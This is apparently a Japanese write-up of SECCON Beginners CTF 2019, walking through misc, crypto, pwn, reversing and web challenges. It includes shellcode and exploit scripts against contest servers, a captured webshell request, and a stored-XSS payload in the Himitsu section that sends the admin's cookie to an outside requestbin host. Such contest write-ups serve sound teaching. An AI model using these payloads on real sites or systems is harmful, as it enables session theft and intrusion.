SECCON Beginners CTF 2019 Writeup

チームnicklegrで個人参加。
1755点で55位(666チーム中)でした。

![final_score.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/10750/81acfa36-4a48-4df7-a1c9-13989c054801.png)

![challenges_20190526-1459.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/10750/acefde74-5505-d5fa-0da1-444c69c31fe4.png)

Beginnersなので割と解けた問題が多くて楽しかった。
あと[サーバステータスバッジ](https://twitter.com/ctf4b/status/1132166609852698625)がいい感じでした。

BeginnersなこともあってTop 3は全完だったけど、2位と3位の方は個人で全完してて本当にすごい。

# Misc

## [warmup] Welcome
公式IRCに入るとフラグが書いてある。
![welcome.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/10750/a63eb0bb-73a1-25b6-321c-06b4ff0ce766.png)
この方式面白いなー。自然な誘導になる。

```
ctf4b{welcome_to_seccon_beginners_ctf}
```

## containers
バイナリダンプするとpngが見えるのでまずはbinwalk。

```
$ binwalk -e -D 'png image:png' e35860e49ca3fa367e456207ebc9ff2f_containers
```

1文字だけ書いてある画像がたくさん出てきたので、アドレス順にソートしてimagemagickでくっつけた。

```ruby
files = Dir.glob("_e35860e49ca3fa367e456207ebc9ff2f_containers.extracted/*.png")

files.sort_by! do |a|
  File.basename(a, ".png").hex
end

puts files.join("\n")

cmd = "convert +append #{files.join(" ")} out.png"
puts cmd
system(cmd)
```

![out.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/10750/a3757fcd-fb95-c4b6-e597-6e442c6ee8a6.png)

```
ctf4b{e52df60c058746a66e4ac4f34db6fc81}
```

## Dump

fileしたらtcpdumpらしいので、Wiresharkで開いた。
webshellでフラグを取得してるみたい。

```
GET /webshell.php?cmd=hexdump%20%2De%20%2716%2F1%20%22%2502%2E3o%20%22%20%22%5Cn%22%27%20%2Fhome%2Fctf4b%2Fflag HTTP/1.1
Host: 192.168.75.230
User-Agent: curl/7.54.0
Accept: */*

HTTP/1.1 200 OK
Date: Sun, 07 Apr 2019 11:55:27 GMT
Server: Apache/2.4.18 (Ubuntu)
Vary: Accept-Encoding
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

<html>
<head>
<title>Web Shell</title>
</head>
<pre>
037 213 010 000 012 325 251 134 000 003 354 375 007 124 023 133
327 007 214 117 350 115 272 110 047 012 212 122 223 320 022 252
164 220 052 275 051 204 044 100 050 011 044 024 101 120 274 166
...
243 140 024 214 202 121 060 012 106 301 050 030 005 344 000 000
050 241 022 115 000 060 014 000                        
</pre>
</html>
```

cmdの部分をURLデコードすると(最近知ったんだけど[CyberChef](https://gchq.github.io/CyberChef/#recipe=URL_Decode()&input=aGV4ZHVtcCUyMCUyRGUlMjAlMjcxNiUyRjElMjAlMjIlMjUwMiUyRTNvJTIwJTIyJTIwJTIyJTVDbiUyMiUyNyUyMCUyRmhvbWUlMkZjdGY0YiUyRmZsYWc)が便利)

```
hexdump -e '16/1 "%02.3o " "\n"' /home/ctf4b/flag
```

8進数で出力してるらしい。なんでわざわざ。

```ruby
# coding: ascii-8bit

ret = ""

File.readlines("octals.txt").each do |line|
  ret += line.split.map{|e| e.to_i(8)}.pack("C*")
end

print ret
```

するとtar.gzになるので、解凍するとフラグ画像が出てくる。
![flag.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/10750/b137bf1a-31c6-27c5-ec1f-89d08505dfb6.jpeg)

```
ctf4b{hexdump_is_very_useful}
```

# Crypto

## [warmup] So Tired
encrypted.txtがもらえる。365KBもある。

```
eJwUm7V25UAQBT9IgZjCJ2bmTMzM+vr1xj62R6Pue6t8nkvl ...
```

見た目base64なのでデコードすると

```
00000000: 78 9c 14 9b b5 76 e5 40 10 05 3f 48 81 98 c2 27  x....v.@..?H...'
00000010: 66 e6 4c cc cc fa fa f5 c6 3e b6 47 a3 ee 7b ab  f.L......>.G..{.
00000020: 7c 9e 4b e5 f6 47 2a 32 57 e4 17 37 2c 20 33 21  |.K..G*2W..7, 3!
00000030: ae a1 06 9a 60 8e 83 9e e0 f6 4d 30 cc 21 73 76  ....`.....M0.!sv
...
```

先頭が`78 9c`はzlib。ググれば出てくる
展開するとまたbase64文字列が出てくる。マトリョーシカね。

```ruby
require "base64"
require "zlib"

encrypted = File.binread("encrypted.txt")

data = encrypted
loop do
  data = Zlib::Inflate.inflate(Base64.decode64(data))
  puts data
end
```

```
ctf4b{very_l0ng_l0ng_BASE64_3nc0ding}
```

# Pwnable

## [warmup] shellcoder
- シェルコードを投げれば素直に実行してくれる
- sizeは0x28 = 40バイト以内
- 下記の文字を含んではいけない
  - 0x62 b
  - 0x69 i
  - 0x6e n
  - 0x73 s
  - 0x68 h

shell-storm.orgで探したら条件に合うものがあった。拾いもので解けてしまった。

```ruby
require "pp"
require_relative "../pwnlib"

def p64(a)
  [a].pack("Q<")
end

def u64(a)
  a.unpack("Q<")[0]
end

# http://shell-storm.org/shellcode/files/shellcode-806.php
payload = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

PwnTube.open("153.120.129.186", 20000) do |t|
  t.recv_until("Are you shellcoder?\n")
  t.send(payload.ljust(0x28))
  t.shell
end
```

```
ctf4b{Byp4ss_us!ng6_X0R_3nc0de}
```

## memo
解けなかった。

`hidden`という関数があって、そこに飛ばすと親切に`sh`を実行してくれる。

`Input size`と聞かれるけど、実はサイズじゃなくて、入力を受け取るスタック上のバッファのアドレスが変動する。
負の値も受け付けるので、`-96`にするとreturn addressの8バイト手前になる。

ということでreturn addressをhiddenに書き換えればいい。
でもローカルでは通ったけどリモートではダメだった。

```ruby
require "pp"
require "hexdump"
require_relative "pwnlib"

def p64(a)
  [a].pack("Q<")
end

def u64(a)
  a.unpack("Q<")[0]
end

addr_hidden = 0x4007bd
payload = p64(addr_hidden) * 2
# Hexdump.dump(payload, :width => 16)

PwnTube.open("133.242.68.223", 35285) do |t|
  t.recv_until("Input size : ")
  t.sendline("-96")
  t.recv_until("Input Content : ")
  t.sendline(payload)
  t.recv_until("\n")

  t.shell
end
```

終了後に見たらヒントが追加されていて、サーバの環境はubuntu 18.04.2 LTSと書いてあった。
ローカルは16.04だからその違いかな。ヒント追加は告知してほしい…

## OneLine
解けなかった。

```
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : ENABLED
RELRO     : FULL
```

0x28 = 40バイトのreadを2回行う。
readしたデータの末尾8バイトをアドレスとしてcallする。

その時の状態は

- rax = callしたaddr
- rcx = rsi = バッファの先頭
- edx = 0x28
- edi = 1

この条件は2回とも同じ。

libcの何かの関数に飛ばすと、引数は`func(1, buf, 0x28, buf)`となる。
writeに飛ばせばstdout(== 1)にバッファの内容を出力してくれるけど、それでは特に何もできない。

任意のアドレスをリークできる関数がないか探したら、

> ssize_t writev(int fd, const struct iovec *iov, int iovcnt);
writev() システムコールは、 iov で指定されたバッファーから最大 iovcnt 個のバッファー分のデータを取り出し、
ファイルディスクリプター fd に関連付けら れたファイルに書き込む ("gather output";「かき集め出力」)。 

という面白いのがあったけど、iovcnt = 0x28になるのでたぶんSEGVする。
これ以上は思いつかなかった。

# Reversing
## [warmup] Seccompare
1バイトずつスタックに書き込んだあと、それとstrcmpしてるだけ。

```
                     loc_400630:
0000000000400630         mov        byte [rbp+var_30], 0x63                     ; CODE XREF=main+34
0000000000400634         mov        byte [rbp+var_2F], 0x74
0000000000400638         mov        byte [rbp+var_2E], 0x66
000000000040063c         mov        byte [rbp+var_2D], 0x34
0000000000400640         mov        byte [rbp+var_2C], 0x62
0000000000400644         mov        byte [rbp+var_2B], 0x7b
0000000000400648         mov        byte [rbp+var_2A], 0x35
000000000040064c         mov        byte [rbp+var_29], 0x74
...
```

これも[CyberChef](https://gchq.github.io/CyberChef/#recipe=From_Hex(%27Auto%27)&input=NjMgNzQgNjYgMzQgNjIgN2IgMzUgNzQgNzIgMzEgNmUgNjcgNzMgNWYgMzEgNzMgNWYgNmUgMzAgNzQgNWYgNjUgNmUgMzAgNzUgNjcgNjggN2Q)が便利。

```
ctf4b{5tr1ngs_1s_n0t_en0ugh}
```

## Leakage
この問題が一番楽しめた。

is_correct関数で判定している。
まず正解は0x22 = 34文字。

```
00000000004005fa         call       j_strlen                                    ; strlen
00000000004005ff         cmp        rax, 0x22
0000000000400603         je         loc_40060c
```

convert関数の中でいろいろかき回してるけど、最後に正解判定をするのは1バイト単位。

```
000000000040062b         call       convert                                     ; convert
0000000000400630         mov        byte [rbp+var_5], al
0000000000400633         mov        eax, dword [rbp+var_4]
0000000000400636         movsxd     rdx, eax
0000000000400639         mov        rax, qword [rbp+var_18]
000000000040063d         add        rax, rdx
0000000000400640         movzx      eax, byte [rax]
0000000000400643         cmp        byte [rbp+var_5], al
```

なので、先頭から1バイトずつ総当たりが可能。下記の方針で解いた。

- 正解文字数をstdoutに出力するようパッチを当てる
- スクリプトで総当たり

is_correct内で、間違ってたら0を返すところを、先頭からの正解文字数を返すようにする。

Before:

```
0000000000400648         mov        eax, 0x0
000000000040064d         jmp        is_correct+119
```

After:

```
0000000000400648         mov        eax, dword [rbp-4]
000000000040064b         nop
000000000040064c         nop
000000000040064d         jmp        is_correct+119
```

main関数で、is_correctの戻り値をprintfするように変更 (文字列`correct`も`%s`に変更した)

Before:

```
00000000004006a5         call       is_correct                                  ; is_correct
00000000004006aa         test       eax, eax
00000000004006ac         je         loc_4006bc
00000000004006ae         lea        rdi, qword [aCorrect]                       ; argument "__s" for method j_puts, "correct"
00000000004006b5         call       j_puts                                      ; puts
```

After:

```
00000000004006a5         call       is_correct                                  ; is_correct
00000000004006aa         mov        rsi, rax
00000000004006ad         nop
00000000004006ae         lea        rdi, qword [aCorrect]                       ; argument #1, "correct"
00000000004006b5         call       0x0+4195568                                 ; printf
```

総当たりスクリプトは

```ruby
str = "A" * 34
chars = ("!".."~").to_a - %w|'|

34.times do |i|
  chars.each do |ch|
    str[i] = ch
    result = `./leakage '#{str}'`
    break if result.to_i > i
  end
end

puts str
```

```
ctf4b{le4k1ng_th3_f1ag_0ne_by_0ne}
```

## Linear Operation
やたら複雑なis_correct関数がある。

まず先頭が`ctf4b{`かチェックし、63文字目が`}`かチェックしている。
なので正解は63文字。

その後は、入力から2文字ピックアップして、

```
00000000004006af         mov        rax, qword [rbp+var_2F88]
00000000004006b6         add        rax, 0x3
00000000004006ba         movzx      eax, byte [rax]
00000000004006bd         movzx      eax, al
00000000004006c0         mov        rdx, qword [rbp+var_2F88]
00000000004006c7         add        rdx, 0x13
00000000004006cb         movzx      edx, byte [rdx]
00000000004006ce         movzx      edx, dl
```

いろいろ計算した結果が特定の値になるか、という判定を延々とやっている。

```
00000000004007e9         cmp        qword [rbp+var_2EE8], 0x1288
00000000004007f4         jne        loc_40cbda
```

問題名もLinear Operationだし、これは定式化してz3pyで解くやつか、面倒だなぁ。
と思ったところでangrというツールがすごいという噂を思い出して、試してみた。

```py
import angr
import claripy

p = angr.Project('./linear_operation', load_options={'auto_load_libs': False})

flag_chars = [claripy.BVS('flag_%d' % i, 8) for i in range(63)]
flag = claripy.Concat(*flag_chars + [claripy.BVV(b'\n')])

state = p.factory.full_init_state(
    args=['./linear_operation'],
    add_options={angr.options.ZERO_FILL_UNCONSTRAINED_MEMORY} | {angr.options.ZERO_FILL_UNCONSTRAINED_REGISTERS},
    stdin=flag,
)

for k in flag_chars:
    state.solver.add(k != 0)
    state.solver.add(k != 10)

simgr = p.factory.simulation_manager(state)

simgr.explore(find=lambda s: b"correct" in s.posix.dumps(1))

found = simgr.found[0]
print(found.solver.eval(flag, cast_to=bytes))
```

文字数を制約に与えただけでほんとに解けてしまった。3分もかかってない。化け物かコイツは。

```
$ mkvirtualenv --python=$(which python3) angr && pip install angr
...
(angr) $ time python3 main.py 
b'ctf4b{5ymbol1c_3xecuti0n_1s_3ffect1ve_4ga1nst_l1n34r_0p3r4ti0n}\n'

real	2m32.096s
user	2m31.450s
sys     0m0.531s
```

APIが頻繁に変わってるようで最新版で動くコードを書くのに苦労した。よく理解もせずにあちこちのサイトからつぎはぎ。
フラグ内容からすると、想定解もangrなのね。

```
ctf4b{5ymbol1c_3xecuti0n_1s_3ffect1ve_4ga1nst_l1n34r_0p3r4ti0n}
```

# Web
## [warmup] Ramen
SQLインジェクションやるだけ。[Beginnersのオンサイト大会でやったやつ](https://qiita.com/nicklegr/items/881ea9edd48736b49a22#%E3%82%82%E3%81%90%E3%82%82%E3%81%90-web-200)だ。

![Screenshot-2019-5-26 Modern Ramen.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/10750/76e45e61-b3fe-0e6f-4c37-5941bc960284.png)

```
ctf4b{a_simple_sql_injection_with_union_select}
```

## katsudon
> フラグは BAhJIiVjdGY0YntLMzNQX1kwVVJfNTNDUjM3X0szWV9CNDUzfQY6BkVU--0def7fcd357f759fe8da819edd081a3a73b6052a です

とのことなので、試しに前半をbase64デコードしてみたら

```
% echo "BAhJIiVjdGY0YntLMzNQX1kwVVJfNTNDUjM3X0szWV9CNDUzfQY6BkVU" | base64 -d | xxd -g 1
00000000: 04 08 49 22 25 63 74 66 34 62 7b 4b 33 33 50 5f  ..I"%ctf4b{K33P_
00000010: 59 30 55 52 5f 35 33 43 52 33 37 5f 4b 33 59 5f  Y0UR_53CR37_K3Y_
00000020: 42 34 35 33 7d 06 3a 06 45 54                    B453}.:.ET
```

えー、それでいいの？後半使わないの？

```
ctf4b{K33P_Y0UR_53CR37_K3Y_B453}
```

これで通ったけど、出題ミスだったらしい。後で修正版が別の問題として公開された。そっちは未着手。

## Himitsu
ブログサイトみたいなやつ。記事を運営に送信するボタンがある。

> 抱え込まないでくださいね。

> もし一人で秘密を抱えるのが大変であれば、ぜひ運営に共有してください。

ということで、運営にXSSを踏ませてadminのCookieを手に入れる問題かな。

ソースコード付きなので見ていくと、タイトルや記事IDはフレームワークでエスケープしているが、本文は自前でやっている。
ブログ記法がいろいろあって、中でも下記のが怪しい。ここにエスケープ漏れがないかな。

> [#記事ID#]
> ページのタイトルを埋め込むことができます。例: [#a42a78de275ae00e31d337bd6bd75150#]

見てみるとちゃんとチェックされている。

```php5
// here we should only validate and shouldn't replace; [# ... #] should be replaced here because the title can be changed :-)
preg_match_all('/\[#(.*?)#\]/', $body, $matches);
foreach(range(0, count($matches)-1) as $i){
    $found_article_key = $matches[1][$i];
    $found_article = $mapper->getArticle($found_article_key);
    if (preg_match('/[<>"\']/', $found_article['title'])){
        return $this->app->renderer->render($response, 'new.twig', [
            'error_message' => '埋め込み先の記事タイトルが不正です。',
            'title' => $data['title'],
            'abstract' => $data['abstract'],
            'body' => $data['body'],
            'token' => $this->get_csrf_token($request)                        
        ]);
    }
}
```

ただこのチェックは投稿時で、その時点ではタイトルを埋め込まない。実際に埋め込むのは表示時。そして表示時にチェックはされていない。
コメントのヒント通り、投稿時のチェックを通して後からタイトルを変更すればXSSを埋め込める。

ただサイトに記事の編集機能はない。どうするか。
記事IDの生成ロジックを見ると、

```php5
public function createArticle($username, $title, $abstract, $body) {
    $created_at = date("Y/m/d H:i");
    $article_key = md5($username . $created_at . $title);
```

時刻を分単位までしか使ってない。ユーザー名とタイトルは指定できる。
なので記事IDは予測可能。これだ。

- 予測した記事IDを指定して埋め込みタグを使い、記事を投稿する(記事A)
  - この時点では記事が存在しないが、エラーにはならずチェックが通る
- 予測通りの記事IDになるよう投稿し、タイトルにペイロードを仕込む(記事B)

ペイロードを作って、記事IDを予測する。ユーザー名は`hoge1`
(若干バグってるのはご愛敬。あとURLをマスクしたので実際のハッシュと違う)

```
% cat payload.txt
hoge12019/05/26 12:40<script>document.write("<img src='https://requestbin.fullcontact.com/xxxxxxx/?v=XSS-" + document.cookie + ">'")</script>
% cat payload.txt | md5sum
c1bac4fc18e4a44865b87c749d571325  -
```

記事Aを下記の本文で投稿。

```
[#c1bac4fc18e4a44865b87c749d571325#]
```

12:40になったら、記事Bを下記のタイトルで投稿。

```js
<script>document.write("<img src='https://requestbin.fullcontact.com/xxxxxxx/?v=XSS-" + document.cookie + ">'")</script>
```

この状態で記事Aを開くとXSSが発火する。これを運営に送信。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/10750/011a6929-1e31-1022-89ad-97dfab7dd33c.png)

よーし、adminのCookieいただき。ブラウザのCookieをこれに書き換えてアクセス。
![himitsu_flag_1.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/10750/cc1c8ec1-87ec-c727-95a4-46ee5086d5f1.png)
![himitsu_flag_2.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/10750/01cfa60b-d01d-8814-743a-8bd7d47233f2.png)

```
ctf4b{simple_xss_just_do_it_haha_haha}
```

やるだけというには歯ごたえあった。楽しかった。

# 他の方のWriteup
- http://ecoha0630.hatenablog.com/entry/2019/05/26/231726
- http://kent056-n.hatenablog.com/entry/2019/05/26/181607
- http://msy2456.hatenablog.com/entry/2019/05/26/185005
- http://takahoyo.hatenablog.com/entry/2019/05/26/162604
- http://yuta1024.hateblo.jp/entry/2019/05/26/155737
- http://ywkw1717.hatenablog.com/entry/2019/05/26/212753
- http://zeosutt.hatenablog.com/entry/2019/05/27/041427
- https://aokakes.hatenablog.com/entry/2019/05/26/151528
- https://bankingmalware.hatenablog.com/entry/2019/05/27/110524
- https://betit0919.hatenablog.com/entry/2019/05/26/165827
- https://enjoylifevc.hatenablog.com/entry/2019/05/26/180039
- https://furutsuki.hatenablog.com/entry/2019/05/26/150813
- https://graneed.hatenablog.com/entry/2019/05/26/151534
- https://kusuwada.hatenablog.com/entry/2019/05/26/163144
- https://kusuwada.hatenablog.com/entry/2019/06/04/115020
- https://nomizooon.hateblo.jp/entry/2019/05/27/190418
- https://oldbigbuddha.dev/post/ctf4b-2019/
- https://ox0xo.github.io/ctf/seccon4b2019
- https://ptr-yudai.hatenablog.com/entry/2019/05/26/150937
- https://qiita.com/kusano_k/items/c1c7ebec353d0bfdf1eb
- https://qiita.com/mikecat_mixc/items/39b251626be536b41cf6
- https://qiita.com/souring001/items/d61c8612f8f71adda45b
- https://qiita.com/xio_yae/items/8047b9b3cf60d57b4bc7
- https://rex.gs/2019/05/seccon-beginners-ctf-2019-crypto-%E8%A7%A3%E8%AA%AC/
- https://st98.github.io/diary/posts/2019-05-26-beginners-ctf.html
- https://tan.hatenadiary.jp/entry/2019/05/27/000208
- https://teppay.hatenablog.com/entry/2019/05/26/150213
- https://twitter.com/kazkiti_ctf/status/1132540259852439553
- https://twitter.com/mimura1133/status/1132578569157337088
- https://xkenya31x.blogspot.com/2019/05/seccon-beginners-ctf-2019-writeup-misc.html
- https://xkenya31x.blogspot.com/2019/05/seccon-beginners-ctf-2019-writeup_26.html
- https://yoshiking.hatenablog.jp/entry/2019/05/26/150805